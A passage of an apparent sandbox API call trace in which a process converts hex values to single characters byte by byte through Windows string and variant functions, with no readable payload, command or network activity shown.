lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="“", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="“", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x93", lpUsedDefaultChar=0x0) returned 1 [0061.807] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.807] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.808] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.808] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.809] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.809] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.809] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.809] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x14") returned 1 [0061.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x14", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x14", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x14", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x14", lpUsedDefaultChar=0x0) returned 1 [0061.810] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.810] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.811] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.811] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.811] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.811] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.812] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.812] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.813] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.813] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.813] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.813] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.814] VarParseNumFromStr (in: strIn="&H6C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.814] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0061.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l", lpUsedDefaultChar=0x0) returned 1 [0061.837] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.837] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x13") returned 1 [0061.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x13", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x13", lpUsedDefaultChar=0x0) returned 1 [0061.838] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.838] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.839] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.839] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.839] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.839] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.840] VarParseNumFromStr (in: strIn="&HA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.840] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0061.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0061.841] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.841] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.842] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.842] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.842] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.842] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x1c") returned 1 [0061.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1c", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x1c", lpUsedDefaultChar=0x0) returned 1 [0061.843] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.843] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 